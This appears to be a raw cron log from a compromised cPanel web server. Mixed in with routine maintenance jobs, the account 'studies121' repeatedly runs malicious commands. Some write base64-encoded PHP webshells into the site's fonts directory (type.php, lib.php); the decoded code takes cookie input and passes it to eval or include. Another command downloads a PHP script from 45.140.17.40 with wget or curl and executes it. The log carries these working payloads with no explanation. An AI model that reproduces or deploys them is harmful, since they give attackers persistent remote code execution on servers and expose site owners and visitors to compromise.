Sep 11 15:49:01 ip-184-168-122-23 CROND[28755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:49:01 ip-184-168-122-23 CROND[28756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:49:01 ip-184-168-122-23 CROND[28757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:49:01 ip-184-168-122-23 CROND[28758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:50:01 ip-184-168-122-23 CROND[28920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:50:01 ip-184-168-122-23 CROND[28922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:50:01 ip-184-168-122-23 CROND[28924]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 15:50:01 ip-184-168-122-23 CROND[28927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:50:01 ip-184-168-122-23 CROND[28928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:50:01 ip-184-168-122-23 CROND[28926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:50:01 ip-184-168-122-23 CROND[28930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:50:01 ip-184-168-122-23 CROND[28931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:50:01 ip-184-168-122-23 CROND[28932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:51:01 ip-184-168-122-23 CROND[29076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:51:01 ip-184-168-122-23 CROND[29077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:51:01 ip-184-168-122-23 CROND[29078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:51:01 ip-184-168-122-23 CROND[29079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:52:01 ip-184-168-122-23 CROND[29195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:52:01 ip-184-168-122-23 CROND[29200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:52:01 ip-184-168-122-23 CROND[29197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:52:01 ip-184-168-122-23 CROND[29198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:52:01 ip-184-168-122-23 CROND[29199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:53:01 ip-184-168-122-23 CROND[29283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:53:01 ip-184-168-122-23 CROND[29284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:53:01 ip-184-168-122-23 CROND[29285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:53:01 ip-184-168-122-23 CROND[29286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:54:01 ip-184-168-122-23 CROND[29359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:54:01 ip-184-168-122-23 CROND[29362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:54:01 ip-184-168-122-23 CROND[29361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:54:01 ip-184-168-122-23 CROND[29363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:54:01 ip-184-168-122-23 CROND[29364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:55:01 ip-184-168-122-23 CROND[29557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:55:01 ip-184-168-122-23 CROND[29558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:55:01 ip-184-168-122-23 CROND[29560]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:55:01 ip-184-168-122-23 CROND[29562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:55:01 ip-184-168-122-23 CROND[29563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:55:01 ip-184-168-122-23 CROND[29566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:56:02 ip-184-168-122-23 CROND[29657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:56:02 ip-184-168-122-23 CROND[29663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:56:02 ip-184-168-122-23 CROND[29662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:56:02 ip-184-168-122-23 CROND[29667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:56:02 ip-184-168-122-23 CROND[29668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:57:01 ip-184-168-122-23 CROND[29801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:57:01 ip-184-168-122-23 CROND[29802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:57:01 ip-184-168-122-23 CROND[29804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:57:01 ip-184-168-122-23 CROND[29803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:58:01 ip-184-168-122-23 CROND[29907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:58:01 ip-184-168-122-23 CROND[29908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:58:01 ip-184-168-122-23 CROND[29909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:58:01 ip-184-168-122-23 CROND[29910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:58:01 ip-184-168-122-23 CROND[29911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:59:01 ip-184-168-122-23 CROND[30010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:59:01 ip-184-168-122-23 CROND[30008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:59:01 ip-184-168-122-23 CROND[30009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:59:01 ip-184-168-122-23 CROND[30011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:00:02 ip-184-168-122-23 CROND[30188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:00:02 ip-184-168-122-23 CROND[30191]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 16:00:02 ip-184-168-122-23 CROND[30192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:00:02 ip-184-168-122-23 CROND[30190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:00:02 ip-184-168-122-23 CROND[30196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:00:02 ip-184-168-122-23 CROND[30197]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:00:02 ip-184-168-122-23 CROND[30198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:00:02 ip-184-168-122-23 CROND[30203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:00:02 ip-184-168-122-23 CROND[30204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:01:01 ip-184-168-122-23 CROND[30310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
